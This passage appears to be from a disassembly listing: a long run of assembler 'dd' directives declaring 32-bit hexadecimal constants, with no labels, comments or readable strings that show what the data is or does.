		dd 7FE1DF3Bh, 1190E3AFh, 6300262Ah, 0DA6014B6h,	0E6F41ACCh
		dd 0CF4CA1C9h, 60548C52h, 1D429D75h, 40C64424h,	173EE1FBh
		dd 5E09226Ah, 50680Ah, 0DE83CA28h, 23C4008Eh, 1E4D866Fh
		dd 4B05DBA7h, 0EBCF8BDAh, 7FB25405h, 222CB054h,	0B6A300F5h
		dd 0C9F298B4h, 3BB832E6h, 2CC86901h, 0F446EF6Ch, 41D3298Ah
		dd 0C0B59F84h, 5096E015h, 5C036A90h, 0BAFE14DFh, 1887829h
		dd 95B819B9h, 871B8CC3h, 0DF2F0A41h, 0E27FCC60h, 2F174FFh
		dd 63D7E40Fh, 5884ADD0h, 0F16021E1h, 73BE8C50h,	1A0F09Fh
		dd 3E28BF6Fh, 0EC766D2Eh, 31C0E98Dh, 7C8F9DE8h,	53A0021h
		dd 0A534ACDFh, 0C309338Ch, 90CA8ED3h, 2BF2A10h,	40646116h
		dd 0EA6080BAh, 8F1DCAFCh, 18181FCFh, 79150A29h,	0B5480FF9h
		dd 60604E32h, 8A5EA053h, 0C068F324h, 0C404614h,	3858B6D3h
		dd 1A10048h, 1FBBA849h,	752AB24Bh, 1818BC38h, 73611AD3h
		dd 2748009Ah, 34CB9CBFh, 1205AB54h, 0F7B9FCB5h,	0A85ADC20h
		dd 936505F1h, 4B82CB10h, 0E004150h, 2764B0C2h, 0D3331D00h
		dd 4723027Fh, 104E006Ah, 0CE4BA232h, 9B616546h,	28603140h
		dd 17C5110h, 0F961EF15h, 0BE8901B4h, 0DF634B7Dh, 0B3F890EEh
		dd 8821D410h, 56711h, 6087CAC1h, 984FF483h, 1AFC0010h
		dd 6EDAA84Dh, 2500A919h, 0A0C1E749h, 4CB24214h,	6C4994D6h
		dd 299CA4C0h, 98024317h, 0E9FA6D31h, 37E440FCh,	0B979C1E0h
		dd 104CD3F0h, 26C912h, 0A2159A5Bh, 0E94743FCh, 0C8B0BE00h
		dd 0B949217Fh, 746154DEh, 793F60F1h, 24BB6A09h,	0C1B04C60h
		dd 0EA46B81Fh, 0E49FA03h, 99E14E7Ch, 45F980BBh,	0C2DE003Bh
		dd 8CDD4DB2h, 7E101048h, 0CAF408E2h, 47D08E1Ah,	72317B20h
		dd 0BF199C5Dh, 0A848627Fh, 92CE818Ch, 9E002389h, 3E8935A7h
		dd 1B886B6h, 6F7CD381h,	8057C1F4h, 210FB979h, 0A06303B3h
		dd 4C1F7AA0h, 0D9C0FCEAh, 3F2DF4FEh, 710FAB00h,	940336CEh
		dd 838D005Fh, 64351684h, 0DB607DB2h, 71E08F79h,	64B1F1h
		dd 1EAE21B4h, 7B11F0A4h, 9177ADCEh, 59B066Ch, 0B7E070E3h
		dd 86AE2900h, 40FA679Ah, 0F9B506B9h, 39C0D84Ch,	12F64300h
		dd 254A0804h, 6CF400D6h, 5A0A543Ch, 2B0403B2h, 8D044863h
		dd 0B412CC8h, 0BCBB157Fh, 0FFB14A00h, 0F900FDA1h, 135A28E6h
		dd 0A6106Eh, 0C15EED63h, 58CC7612h, 51167F78h, 14204090h
		dd 3F23A8FCh, 5CC862DEh, 21C3D884h, 11F7B76Ch, 193FDB19h
		dd 36C0E366h, 184A1453h, 29A66141h, 0FD3E88DEh,	0B80317C5h
		dd 73A27101h, 43D492CDh, 6F980046h, 31FC7761h, 20A21B62h
		dd 9E90AC90h, 0F5C0E34Ah, 98D5BDCAh, 0EC6A0394h, 0AB36F4F1h
		dd 40B96926h, 0FB9BC5C0h, 6A790032h, 0ECBDA60Fh, 9C266B19h
		dd 2205B826h, 7CC4E96Eh, 0CEF5ECC0h, 49386353h,	0BA4E88Ch
		dd 0A5610036h, 0BB4FD4h, 3201924Ch, 7C6042F1h, 15D8224Ch
		dd 809BCEh, 0A68FD0BEh,	7781F2FEh, 58F10E28h, 4CE02DD1h
		dd 29322BF0h, 0F4185E05h, 7009CD85h, 0F558905Dh, 0D1A9659Ah
		dd 76C020F1h, 7302DF4Bh, 0CD895CF3h, 0FEB760ACh, 3048F8E2h
		dd 2798E5B9h, 6A016B1Ah, 22A0151Dh, 8631290h, 1F904826h
		dd 59428FCh, 536B28BAh,	8A44C04Fh, 87F8FF24h, 0A003D32Ah
		dd 95D98801h, 3A4778DCh, 184B8060h, 21A9F486h, 0F2067C02h
		dd 0E1902542h, 178C3059h, 32AD7A71h, 4D2C4C00h,	11F7B606h
		dd 130E00BBh, 5117FD73h, 5E1175F3h, 7F001BCAh, 716681A7h
		dd 224C9884h, 88E62128h, 50A4569Ah, 936B850Eh, 59108C05h
		dd 5E90DC42h, 70F827E2h, 86621F9Bh, 0E3DDD51Ch,	8E9E130Fh
		dd 0F0083FFFh, 0C93B6078h, 500FCD42h, 634905C6h, 0ABCC897Ch
		dd 368BE0AFh, 0A8F34867h, 70D4F058h, 8C7073C0h,	4200A415h
		dd 93127DFCh, 0DED157h,	52E53691h, 7CD74B5Bh, 252E2674h
		dd 481274B6h, 0D4F81881h
		dd 0DD6D2200h, 2001D3EFh, 9F67BA62h, 0FAE04C80h, 0C29EBF4h
		dd 0FE1FDE04h, 0BF78A4BBh, 2FC9B40Bh, 51EC8115h, 0D98739CEh
		dd 774692E9h, 0D9B3E113h, 321984CAh, 0B4880460h, 1B4E8890h
		dd 1CA2AC07h, 0BA3B0B3h, 40C4EA41h, 30B25E90h, 1B41916Eh
		dd 9726CE4Dh, 0D14074F7h, 3D313F5h, 0E7FFDA50h,	1488B2AFh
		dd 0DCF59053h, 11224CD0h, 0C4800035h, 88DFF246h, 0B8092DB4h
		dd 845CA06Eh, 0F4CC6A4Ch, 8B4600CBh, 0DBEF1245h, 0DE009B57h
		dd 0F48FC067h, 883FA7CDh, 60305F0Ah, 6551C9E2h,	863903BFh
		dd 2C8B99FEh, 0CA19C0D8h, 0F34BD60Eh, 0B3D344B8h, 69F068D7h
		dd 0B88FEC15h, 5FCB0022h, 7EA922FAh, 662CDA57h,	0FB0224F0h
		dd 40BB593Bh, 4BDEC1D4h, 618C496Ch, 0B12D1C90h,	640A040Eh
		dd 9621C026h, 934982h, 0FAD75A24h, 38F3614Dh, 2D24A0A4h
		dd 0AB019A19h, 0EC79C414h, 5E10142Dh, 9ACE80F3h, 47FBA19h
		dd 73C4150Dh, 3E5C88F1h, 959E8603h, 0D0A7D90Ch,	2DCA28h
		dd 6A62A106h, 0AD0E11F5h, 82E72225h, 12EDB85Ch,	0FF80E883h
		dd 643871F8h, 0F0584CB8h, 4FC09E2Ch, 0DAA58469h, 15910063h
		dd 6D3A01C3h, 0A0963D89h, 1DBC90C0h, 84FE07AAh,	80C34EF2h
		dd 41C6282Bh, 0C0519509h, 0F7E4104Dh, 1FE9045Ch, 8958CEF4h
		dd 0D9706468h, 988F3444h, 0FCCE5C60h, 0AD722480h, 1C00D24Bh
		dd 69CB2DFh, 0F94332Ah,	1493CE4Eh, 0BE2DA8C0h, 402EEDEAh
		dd 8A016408h, 0DD61689Ch, 13077C22h, 10908D97h,	427EADB1h
		dd 4A0194F4h, 0DE5A32B9h, 1021807Dh, 446273D5h,	4D4138CEh
		dd 29F2E051h, 95158430h, 1978F70Eh, 64071D78h, 0EBE77599h
		dd 0C83596C3h, 1B0F1F2h, 7A6652DBh, 726C319Eh, 859D3CB4h
		dd 0D6B3EC71h, 3808420h, 325E20BBh, 30439028h, 2440D34Ah
		dd 2E7276F0h, 33D1042Dh, 80301E19h, 0D03DE1FDh,	1198F527h
		dd 0CF0C4398h, 13C05844h, 4485CD2Dh, 4545CCB4h,	38008C2Ah
		dd 0D71DE768h, 0D46000F3h, 0C96FCD40h, 0F17235B4h, 57654B01h
		dd 0B0D20948h, 0EDA25980h, 74EB646h, 90778800h,	0B2FEC9D7h
		dd 0CD950022h, 39DEDC08h, 3112F51Ah, 0C4C19D67h, 0F6EDF15Fh
		dd 8817A474h, 0DB005A0Ch, 51FE5477h, 0F48E627h,	849C91A4h
		dd 38A8F1E0h, 48B199F7h, 2E22D000h, 981AA1F3h, 286F2278h
		dd 0DE8A510Bh, 0B3549069h, 0DCC55C7Fh, 5380EF88h, 1644BD72h
		dd 87610008h, 795D9DEDh, 0D76498FBh, 22401B40h,	0BAD0B4ABh
		dd 681A1707h, 0A762A4A6h, 0E2B8845Eh, 823DF745h, 44A9735Ch
		dd 0A6637418h, 8055BF38h, 0B0B5C240h, 2EB65A80h, 4068D3D6h
		dd 1F5B1CFAh, 62027F90h, 7ED7EAC8h, 0C69C4150h,	236A3211h
		dd 30F32528h, 807F60DCh, 0F4918CC0h, 0CC3CF016h, 3FE3DF8h
		dd 901D7E83h, 311811BAh, 0D8614ED3h, 8683F5B4h,	0EF8A5860h
		dd 0EC3E9989h, 145CA97Fh, 0D2E90C40h, 3C03C85Fh, 0BC4C4623h
		dd 4E7CADC0h, 9700BB6Fh, 116D1559h, 44A4301h, 0B330DAD0h
		dd 0E000C874h, 0CE274B0Ch, 0DC1131h, 0E51EE86Eh, 97059AB2h
		dd 14325300h, 0B923FD61h, 7491F7h, 0FF8999BCh, 0BF033005h
		dd 0CE491BEAh, 854900ACh, 0C599E6E3h, 0D605F932h, 0DBD426Ch
		dd 19B95490h, 0D9723F68h, 171B9800h, 0FC514BE7h, 362CC8B0h
		dd 9C44409Dh, 149AE8C0h, 0B06D5C68h, 9C40CC58h,	0B2C08BEBh
		dd 50909E03h, 0A12EC4B0h, 974768A5h, 0DD50CA30h, 5C9D4C66h
		dd 1A6DDE09h, 10355019h, 0B099C48Fh, 0F1E48134h, 0BA001C2Dh
		dd 7FC1DC85h, 0CB4937F4h, 80C859F8h, 4EBAD6D0h,	0D36C372Ch
		dd 0FEAD5056h, 0CE003840h, 69C116DAh, 2CF44A07h, 40EC8CB8h
		dd 65BDC493h, 910F4C79h, 53BFBCC5h, 4ECC4431h, 244FD510h
		dd 0D27CE100h, 0DBBC6791h, 151C04CFh, 923814BFh, 3C6460F4h
		dd 80D86158h, 9F5618E5h, 730A0E68h, 3E0394CAh, 0C55284h
		dd 6B8EF2D7h, 0F1120BBAh, 6008BF69h, 939DEFh, 49A29A8Ah
		dd 550032A4h, 6BB4141Bh, 28DF0956h, 4438B56Ch, 2A2480FBh
		dd 55007D1Dh, 0E010AC4Ch, 0F1BA18A9h, 8C2520EBh, 0C05C8002h
		dd 0E433F48Eh, 4FF09434h, 0AC20C6E0h, 0C4008491h, 0E3F31357h
		dd 0AEBFACFh, 7425DBC0h, 0BAB58FF4h, 0FFCC7998h, 96977E07h
		dd 0CE9EF038h, 0BD8FC174h, 0DBCCC340h, 866D00D2h, 51462CA4h
		dd 6894B590h, 8CCABB40h, 445C54C4h, 36FF001Bh, 1950F53Dh
		dd 95007D87h, 7E801E21h, 0E4601Ah, 0EE24FE73h, 0C4F1F5F7h
		dd 5A7139C0h, 0D6A070h,	7DF2E969h, 0B2A3858Bh, 0BC295B0Fh
		dd 248C8592h, 169AB431h, 0FC9D8080h, 0C8B37B4Ch, 25C4E35Ch
		dd 254C219Bh, 0E43DCA6Ch, 0E5C94500h, 0C3963FE1h, 0C7303990h
		dd 733281BCh, 45B49E6h,	0ABADC0DDh, 57D716CCh, 5B86A501h
		dd 0C742D996h, 91F125E0h, 0E060EDCh, 0FC0CBA20h, 0E75874B6h
		dd 0F58225Ch, 81CDB4A0h, 49E52260h, 10B8BC7Ch, 0EF0B48h
		dd 0D2E89EF7h, 0F8372394h, 873C2436h, 0C16E0CD0h, 62773D61h
		dd 4D105000h, 86AE84A8h, 18680649h, 0B1CA605Bh,	0B2ACE3Ah
		dd 80BA3F97h, 42537CF1h, 0DF1B1551h, 13C0706Bh,	29A78A40h
		dd 47649200h, 577EED95h, 528E26E0h, 4CBC11E4h, 0D486C07Ch
		dd 1E8B6h, 6F661452h, 8CD7AE8Bh, 745DB500h, 0A1BE0AF8h
		dd 7FB21951h, 301B4190h, 4201AB40h, 86B610ADh, 0DC2D6A2Eh
		dd 20B99012h, 0D674032Ch, 7013B15Ah, 68801820h,	3191121Ch
		dd 1714CA76h, 0A90001D2h, 86DC1B99h, 0E51216ADh, 6F700422h
		dd 1ED44105h, 0C04027FCh, 0F0CE4285h, 13762EC3h, 121194h
		dd 320ACD6Bh, 254B5EE9h, 487EEC6Eh, 7B440F3Ch, 0BFCF80F6h
		dd 0C18F797h, 0EA60DF0Ch, 7C072261h, 359E4282h,	800867C2h
		dd 0F3FE1E0Ch, 8D521894h, 0CEAA69F6h, 356E3600h, 0FD306C7Eh
		dd 0DF0718FEh, 0EB09A013h, 0EF3A6A7Fh, 86C409E8h, 0F06417h
		dd 1038EC18h, 1E796292h, 0E20DF50Fh, 9D2F6097h,	2629FC6Bh
		dd 5187BCAh, 0C8724CC4h, 614C3228h, 1C649D90h, 267F3640h
		dd 0ABD63D6Eh, 81CC405Ah, 288D97B8h, 0DD11F800h, 0AB9521DEh
		dd 46322C34h, 87F20130h, 0F8F15E6Bh, 57520160h,	54502484h
		dd 631E2400h, 0C282D948h, 0E0E67D58h, 2D05D859h, 0D02475DEh
		dd 0A069F4F0h, 39501140h, 5C4C3304h, 4822DA19h,	264A02C8h
		dd 37408080h, 0D94464EDh, 0DF9D40F4h, 3D6C110Ah, 3E860FC1h
		dd 4825624Bh, 40CEC040h, 6CBCF0E1h, 0BE42DE80h,	0EA06182h
		dd 789DE8CFh, 3AA5C20h,	4E0CD797h, 41262AA8h, 0EF448462h
		dd 0E8780361h, 2D33C557h, 6068ED98h, 12182559h,	0CC005118h
		dd 35A85A22h, 0E59C0AA9h, 9814B4h, 0B264DE2Ah, 59D0DA7Ch
		dd 7D1E0094h, 6DB5BA40h, 0A8775033h, 60FB799Ah,	8396E9F8h
		dd 1F3DEAA9h, 90D305B8h, 90A0EE46h, 6F250144h, 0B615B053h
		dd 936731B4h, 0C0C276ECh, 152E3E5h, 5ACBC049h, 96C45E9Eh
		dd 6E00AC82h, 144DB96Bh, 0D7D307A9h, 7A8D652Ah,	40112BCh
		dd 13561280h, 0F15C100Eh, 2436F516h, 7E00E270h,	0AAA8F200h
		dd 95856EE6h, 6228C4CBh, 50081635h, 19D3891Ch, 9A0427h
		dd 0BFEAD022h, 17E3C11Ch, 5F76017Ah, 0E71BDBF3h, 605B8E4h
		dd 5346EEE5h, 80228128h, 0B4B900FCh, 31233FA9h,	0B61F5E38h
		dd 94A805BFh, 90315B6Bh, 662A6Ch, 153EA335h, 0EBEF0E49h
		dd 0A9C42305h, 74D24865h, 6E320DEh, 0E0076E8h, 0F2E2BAFh
		dd 0A6A432Dh, 0AACB7209h, 0D81025B0h, 5A2CCA11h, 828B70Ch
		dd 0DF6CC35Ch, 2C88E840h
		dd 441BDFh, 0ABD58B4Eh,	0F382F8B4h, 5E6E7090h, 0CDC95A1h
		dd 89DC7DB3h, 2D685B32h, 0A8204088h, 63097C0Ch,	2B14C59Bh
		dd 0EED84444h, 32EB002Fh, 7F21B53h, 0E202722Bh,	0C778B063h
		dd 2C6C44F7h, 27C8B9h, 512E684Dh, 4CE046ADh, 0B40F5C92h
		dd 0E87D4FABh, 0B2CA8CEBh, 0BB302791h, 0D3FB899h, 7DC93F9Ch
		dd 6D399380h, 7C21FAB8h, 94058E4Bh, 3CB2ECB4h, 0D03C884Ah
		dd 84508095h, 13B95158h, 8C48429Ch, 38A0D314h, 0E10037B8h
		dd 0F68B0C80h, 0FF4461h, 7536340Dh, 5F26001h, 916EDF2Fh
		dd 610C7F88h, 5013F884h, 20690CACh, 61105BE7h, 93003855h
		dd 0CFCE64ACh, 690F4462h, 49DBEB74h, 0E990805Bh, 2E1793h
		dd 0FA14C15Eh, 0E2F3A080h, 0D297DCA1h, 3C909492h, 0A200F5D0h
		dd 565C9D43h, 768CEEBh,	370D6B2Fh, 0D62B6014h, 0B40988CAh
		dd 0E4195C93h, 58F8869Ch, 0C09F30F0h, 2813CFC5h, 6901E937h
		dd 1DEEC30Ah, 9DDC490Dh, 68834868h, 5064B889h, 7E5C3600h
		dd 0D8C986FAh, 88F909F0h, 88E1F67Fh, 521B1035h,	0B19325FEh
		dd 0E7902890h, 8BFC6A1Fh, 298D4005h, 2E12E42Ch,	393352B9h
		dd 190E6A3Bh, 8E00485h,	9522A849h, 16FF783Eh, 420D20Fh
		dd 1824B9Ah, 0A89B0E9Fh, 0E0D46155h, 3029D59Ch,	94A86484h
		dd 0CA6E609Ch, 231D4C42h, 0B1EE5D4Ch, 0C6B22785h, 813B1976h
		dd 6996A1BCh, 0D1F36315h, 632BEA07h, 0CCC095ACh, 0A209C36Ah
		dd 0E5EA3h, 86E8B97Dh, 8C7152DCh, 0CE0A6200h, 0EE97F877h
		dd 490B953h, 0E187BDDAh, 0E5C7C0ADh, 0F7F6F02Dh, 621D18C3h
		dd 0E94E112h, 12580F0h,	24ECA709h, 6B50DF17h, 429D1403h
		dd 8E25924h, 25DE7462h,	3DC051Bh, 2278CA88h, 313400E8h
		dd 0FD32AA47h, 0E30563AFh, 0E4136260h, 0F4859A01h, 2C399836h
		dd 9C421932h, 4422C4E2h, 0DCF9B890h, 0E99180ACh, 84C5A450h
		dd 0B040735Ch, 0F0252B80h, 68051C36h, 21A53F4h,	11F04C54h
		dd 5699A02Fh, 0E8D8E6h,	0C839F3EBh, 0AAA05CB6h,	70195900h
		dd 55061B05h, 0A8C40B48h, 840803FCh, 0CF747F8h,	9A09FE6Ah
		dd 10D3CBBEh, 73418CE8h, 7ABF741Fh, 7BAC006Eh, 0EBA4B34Fh
		dd 0E100C137h, 364725CFh, 48F59B97h, 8CC06885h,	8ED3C24Ch
		dd 87C36EDFh, 2CFFA1CAh, 116822D8h, 2BF503E0h, 0E2C2B597h
		dd 40A45CB9h, 4A239E1Dh, 0E3EFF800h, 0D0452A8Fh, 0C7380B7Ch
		dd 38809404h, 49022CD3h, 7508FC99h, 68F48035h, 621AF5D4h
		dd 0DC38F0E0h, 8C84AC0h, 5A95008Eh, 71361C15h, 0CA00B4AAh
		dd 4BE2AF8Ah, 0A0F22A85h, 0D33850F0h, 53F800D1h, 0D4A012B9h
		dd 0CC607C26h, 2B607826h, 0ED9C218h, 0A8520D4Bh, 1012F647h
		dd 0ABE89A71h, 9058E10Bh, 8910A48Ah, 2707C882h,	62197022h
		dd 943EBAA7h, 0F052CA42h, 0AA0FC4F2h, 9DE0775Eh, 0C70AFE86h
		dd 52BAD318h, 7EC6EDA1h, 0DE7E3983h, 32CA880h, 73D7E257h
		dd 9A098E77h, 52BABF64h, 11210064h, 85C76E33h, 89D5F7ACh
		dd 9BF4148Ch, 0DB7B0108h, 1F97CE4Bh, 5710D0h, 0D940FC1Eh
		dd 0B6492DF1h, 0B1ABBA04h, 98E9B893h, 69F28180h, 0D0C4466Dh
		dd 2A00DD91h, 93B7AC19h, 0BD449212h, 776008B4h,	63D70050h
		dd 0A0C726FFh, 6E003462h, 39A3725h, 176819BFh, 12B5A4B8h
		dd 5234B41Ch, 62B9E100h, 0AA7A59B6h, 0C6D23915h, 955CA880h
		dd 0F49ADB84h, 503C6142h, 441DDD02h, 10C176F8h,	6B831034h
		dd 62D85A0Eh, 72E211FCh, 79A42020h, 823C7607h, 8BD888A6h
		dd 0B4D8BBDDh, 685C00DDh, 1067976Ch, 21DB3100h,	61D9523Ah
		dd 2764E43Bh, 0C011877Ch, 9634C037h, 0FFC44F00h, 1BDC9DEDh
		dd 686289E1h, 12A19D30h, 7AC8A2F4h, 0F63DEF00h,	0D74F07AAh
		dd 61D60FEDh, 46853294h, 2808B704h, 0A600E71Fh,	9E824F8Ah
		dd 32027DD1h, 94A213F5h, 0F0D9C4C2h, 551DE724h,	1C519B19h
		dd 0E4BA0310h, 0C3916494h, 40A4E500h, 0E77C1158h, 0DCED3E00h
		dd 0AC12C48Ah, 37CE2C55h, 0F6940F0h, 9B7BE5AAh,	61B8A504h
		dd 0B0A829F2h, 0A9E99001h, 0FD7CD6D4h, 7C6576h,	3272860h
		dd 3F008077h, 0EE87A9B0h, 25544633h, 88E4DF1Bh,	22845E5Ch
		dd 86F83BFAh, 6608045Bh, 0D00A1238h, 1650E01Dh,	88EE28h
		dd 6E385FA2h, 0EFFB15BFh, 0A0108EEh, 507CD529h,	3AC9C1F4h
		dd 1D00D427h, 459F212Ah, 700CB9FBh, 8086344Eh, 5C3748F5h
		dd 878CA092h, 40DC4Bh, 0F1FF4762h, 2C48ECBDh, 819022CEh
		dd 0C7B25D80h, 176C3334h, 8A16240Fh, 1860208Dh,	0F7C325EDh
		dd 40216020h, 0A3009C9Fh, 82B727BDh, 2D77EF2h, 5CCD65Fh
		dd 163B24Ah, 4F32593Bh,	20730089h, 7CE850h, 66BD6282h
		dd 0B6428E54h, 4CFF080Fh, 84DC536Eh, 0CC80E579h, 78015392h
		dd 0C700676Dh, 0E508B37Bh, 3B8725C5h, 0C858D68h, 0A2DAF62Dh
		dd 801E3BBCh, 8A6E62D1h, 0A0F992CCh, 0C1A0EDh, 7C3B1DE3h
		dd 0B324D254h, 1E4D1F00h, 9AF46E8Fh, 2CD09242h,	26088CD9h
		dd 12F0A074h, 7005634Bh, 0FFCA7F80h, 96F43903h,	885AC397h
		dd 12AA1280h, 20D3ED4Bh, 0F1C842ACh, 18A9201Fh,	1F23E300h
		dd 39895A47h, 6A961507h, 4CFC0025h, 2E4DF17Ah, 0F81FF8B3h
		dd 0EA407B1Fh, 518A7C22h, 0B2B91C8Bh, 307F974Bh, 15381E44h
		dd 3685C407h, 1610B724h, 3CAEABh, 0A9FDD339h, 0B8DFA491h
		dd 9FB9E0F9h, 90C42C00h, 0B34B7311h, 289101F1h,	0B1946B55h
		dd 827EF0BFh, 0A9A86606h, 3E38D85Fh, 6C80554Bh,	0B51AFD48h
		dd 18C0DA8Ah, 5E398396h, 7338C38Dh, 80FE7D82h, 1A8FDA18h
		dd 0FB808h, 0DF26D4Dh, 7C716C82h, 2FFED40Ch, 362102h, 0D123BD2Ch
		dd 108FD768h, 773919C0h, 7067D2Bh, 0FF8A53B5h, 0C1F850B1h
		dd 1E06FBA1h, 0A8ACD373h, 0A4A00071h, 0ED34B866h, 0F80E551Bh
		dd 0C0E32E82h, 0F0B34C5Eh, 0B9876049h, 0FC7648A2h, 4D34E00Bh
		dd 85268047h, 0FBEA79h,	0A74EDAB2h, 1CBBCB2Ah, 62050DFCh
		dd 0E274C252h, 5DBF9A80h, 738430A2h, 2115AF31h,	9575F700h
		dd 7222AA57h, 76AF8EDh,	739B5CEAh, 18CE3E7Dh, 4540AE0h
		dd 0DF036DA2h, 7720036Fh, 9C45F762h, 0F8E82800h, 0C4BE012h
		dd 6C8551A8h, 46169619h, 980070F5h, 0D1A164F2h,	0C7AB00BFh
		dd 8E3E7217h, 0D51A185Ah, 8030EB81h, 359F7DC4h,	0BB760087h
		dd 0FAACA9Eh, 1D18C2BFh, 47596F9Ch, 0EE370089h,	0C558FF7h
		dd 131C8AECh, 79CC62F8h, 7CFBC8BAh, 59E660A3h, 0E837155Dh
		dd 14E38540h, 14B96C10h, 137D4473h, 19BD7B30h, 74519F1Dh
		dd 73E03B18h, 0C9903E83h, 2811B126h, 0AA0FB46Ch, 992F6106h
		dd 4E95F545h, 0DDE01BA4h, 0ED100908h, 233646CEh, 0BC3563h
		dd 0E34D2139h, 8CA10BFCh, 9847506h, 41F271h, 0BAEEAB43h
		dd 0CC428197h, 0C4AE0401h, 82BE2117h, 0C5BD985Ch, 20710AD9h
		dd 932C1FE4h, 0BAE08100h, 0BB77D499h, 2B89005Bh, 4E5DB85Fh
		dd 0CA023C3Fh, 62BF7A34h, 685C80F8h, 6E6613A9h,	2CA0A9B7h
		dd 9EF82FCAh, 85E7C0ABh, 0C3B42035h, 1C2DA1C8h,	38DF862h
		dd 0CBC96F9Eh, 1AA00A72h, 98A37C3Eh, 0E8A343CCh, 717118DBh
		dd 0F9467993h, 271F6701h, 8A7E16D1h, 1F28F5C4h,	0B9FA2366h
		dd 0A30ACC52h, 45D813EEh, 1254006Fh, 0C730CA77h, 0F40011DFh
		dd 7CAC37F0h, 782001B1h, 96CD1A34h, 0D7B8D0DEh,	26038FFCh
		dd 1D5EED0Fh, 64C0CD1Bh, 638D794Dh, 0BE3099E8h,	0BC485100h
		dd 0F065BBFEh, 31280004h, 0AE781964h, 6F181081h, 0D528765Fh
		dd 0FD8D336Ch
		dd 50AE3C41h, 0C6228042h, 780EF300h, 29D109E6h,	0DF5700BCh
		dd 654FCC36h, 46036BFAh, 0AE7B2476h, 2F602282h,	0C46D852Ah
		dd 54717A00h, 0FF5B1350h, 0CB5602CEh, 0CAAA1D32h, 0D835BC86h
		dd 6F9D3D01h, 0EBF36E7h, 98F3898h, 0B47BA36Ah, 477AD01Dh
		dd 370444D3h, 9C8CE0A2h, 999A0C78h, 0B0C19C71h,	0F99B1B00h
		dd 0A78A2695h, 0E14E00EFh, 0BB80E11h, 0A1C51C3h, 34490555h
		dd 0A2A8009Dh, 0C7EFE7F6h, 0C0FB4640h, 0BBC77FCFh, 4D68F24h
		dd 0AD764D80h, 603AA8h,	0AC0262CEh, 5B6FCCA5h, 98F3EF19h
		dd 6108EC98h, 1F7BCA1h,	12006886h, 3A07A10Ah, 0E734EC42h
		dd 0B28EB42Ah, 0E18FBF77h, 96232076h, 54058E6Ch, 88BFC8B6h
		dd 0E9001517h, 8ACAA04Eh, 5C99991h, 14AE7DDDh, 0FCA00447h
		dd 6BE300E4h, 486CAD9Bh, 3089B884h, 0C4032890h,	98C92800h
		dd 8FBEFA05h, 0A45606F7h, 483A9D31h, 0A804373h,	0A030339Bh
		dd 57FBCC39h, 0F83E4C88h, 42BA5300h, 0BCD1C725h, 0A614E234h
		dd 2E4E0098h, 673E055Fh, 50078394h, 0D2EC2730h,	528C0CC1h
		dd 1262BC24h, 8919678h,	0A083B8D8h, 0F88BBEBBh,	0C1E4F66Dh
		dd 46605150h, 3D2BD09Bh, 0CD00D7EEh, 4D28B55Fh,	0F276CED1h
		dd 53F203AAh, 0AF305E2Bh, 0A49B0801h, 92455C38h, 286FECh
		dd 0FA37F91h, 1EFE2E9Eh, 0D24ADB00h, 3EA8727Ah,	305FE6A4h
		dd 0FE6898DDh, 49DED3AAh, 0C3BF2201h, 5DC0ADB4h, 0D78C7D1h
		dd 0BEAAC1FEh, 0A9C00052h, 654A355h, 0F1137840h, 0B34061B8h
		dd 0DA0288ADh, 0E7156E00h, 0C8696781h, 0A2D2035Ah, 6C948960h
		dd 0D09F1EE1h, 396232D1h, 519EE0h, 0AEB2B7BBh, 0AD004274h
		dd 4D090C22h, 18718F1h,	0B3C0C236h, 819AED60h, 4C126330h
		dd 0AA80E38Bh, 86FD21E4h, 0D17AF3A3h, 155A6D00h, 45C8C27Fh
		dd 0A81319D2h, 1051A833h, 0FA244436h, 0A4112A0Fh, 2ACA2A88h
		dd 0A272008Ch, 0DA3D13CDh, 7830F01Bh, 0AD55A0F1h, 0B743D24h
		dd 48A05F0Ah, 0AF5B8F30h, 79A1214Ch, 0CAD97661h, 26C0B969h
		dd 5AC20070h, 9EB82920h, 0F00DD2Fh, 0F43D4AFCh,	3B71BA02h
		dd 980A7AADh, 63F8165Ah, 0B998F77Dh, 1E6ED57h, 5B78141Eh
		dd 0C801679Fh, 2FAEA8B4h, 0BA36D050h, 0C9C060CAh, 61F14C71h
		dd 9F15D500h, 0FAF84B9Eh, 0C910A0C6h, 6B6D02A0h, 0E585BBC1h
		dd 38B8F4E0h, 1C674600h, 100F2A23h, 3A89C152h, 21EBFE99h
		dd 86653018h, 54ABB078h, 0F4518BE9h, 440037C5h,	8A5254F0h
		dd 89EFFEh, 4D3F1EE4h, 646610C8h, 0AA33091Bh, 0DFF9C839h
		dd 473E00A1h, 48B12E13h, 0A0A8A970h, 15025C20h,	0C5E99272h
		dd 87EC8045h, 0EA2FE82h, 0B124AD5h, 0ED4CAB80h,	242A0F2Dh
		dd 0A815E46Fh, 7C8C595Ch, 71531D30h, 7D24D71h, 0B2DBD381h
		dd 99D80A5h, 4030A9E2h,	18E43144h, 3D5F0CDCh, 769001B8h
		dd 901EA188h, 0AF5800E5h, 0E3F51A4Ah, 0C10754E1h, 309ADC13h
		dd 45FEF470h, 0C87D0924h, 8018D31Eh, 0A1770FC0h, 27693A60h
		dd 7CB58756h, 867E98h, 0AB576162h, 4BB381FFh, 9C44411Dh
		dd 6E19A47Fh, 8065C132h, 0C950906Ch, 1C2E3C30h,	18E6AB00h
		dd 0B8C793EAh, 5FBE2401h, 0D2A7D56h, 7ED73BECh,	0BFC9D0C4h
		dd 9404D624h, 0DE544Bh,	0A8E21A0Eh, 0D5E40572h,	0A00BC224h
		dd 0F0AC029h, 0CA43FC25h, 284900C5h, 2274BFF4h,	0C10FF124h
		dd 7FAAD6C6h, 1350AC6Ah, 0A20A0FBCh, 0AC36A59Ah, 0A600A811h
		dd 0CC071A67h, 0C8019698h, 628B203Ch, 0AF07D66h, 0A1A400FCh
		dd 56CCB8C6h, 50901D1Ch, 0CBCF3A0Ch, 34381DFh, 0F8979E39h
		dd 2FFA1863h, 9674C486h, 3DA28100h, 0D77298E3h,	799160C6h
		dd 79BAA8BBh, 17D24400h, 45723A26h, 36AB0506h, 30110298h
		dd 75DD228Ch, 423039C3h, 41780028h, 17D6042Ch, 0A3047964h
		dd 0B0F61E44h, 0EEFD0EC0h, 15430F3Fh, 36403A0Bh, 79C05813h
		dd 0D8499F67h, 1171BDE0h, 30EE005Dh, 20ADF9F7h,	657ACA4Ah
		dd 8610D8C1h, 0D84836E0h, 9EC72A22h, 50AB2460h,	0E01A4174h
		dd 0CEB0214Dh, 41F3920h, 0C8091C3h, 6049D7CAh, 0B8B1E700h
		dd 432B0B9h, 76F375ADh,	90454CB6h, 0B413BE15h, 88A4F450h
